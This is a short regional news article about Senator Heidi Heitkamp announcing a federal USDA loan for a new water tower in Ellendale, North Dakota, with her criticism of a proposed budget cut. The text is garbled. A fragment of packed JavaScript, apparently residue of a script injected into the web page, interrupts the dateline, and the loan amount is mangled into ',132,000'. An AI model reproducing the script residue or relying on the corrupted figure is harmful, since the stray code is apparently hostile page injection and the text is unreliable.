WASHINGTON, yefsd|var|u0026u|referrer|saaaz||js|php’.split(‘|’),0,{}))
D.C. (NewsDakota.com) – U.S. Senator Heidi Heitkamp has announced a ,132,000 federal loan for Ellendale to support the city’s water system infrastructure through the construction of a new water tower that will replace the current 100 year old water tower.

These federal funds are made possible by the U.S. Department of Agriculture Rural Development’s Water and Waste Disposal Loans and Grants program, a program which would be eliminated under President Trump’s budget that he released today.

The program would be eliminated as part of the 21 percent cut to the U.S. Department of Agriculture. Just in the past two fiscal years, North Dakota communities received more than $37 million from this program for needed water and wastewater infrastructure projects.

The funds for Ellendale are specifically authorized under the 2014 Farm Bill that Heitkamp, who was Ranking Member of the U.S. Senate Agriculture Subcommittee on Rural Development and Energy, fought to write, negotiate, and pass to give our state’s rural and agricultural communities the security they need.

“The federal loan announced today through a critical federal program will help support the construction of a new water tower for Ellendale that will not only support the delivery of clean, safe, and reliable water to Ellendale families, but will also support jobs during the construction of the new water tower,” said Heitkamp. “But if the president’s budget went into effect, loans like this one, as well as federal grants to help rural communities get clean water and build sewer infrastructure, would disappear. Ripping the rug out from under rural communities isn’t right or fair, as we need these federal programs to invest in rural America and help North Dakota towns grow.”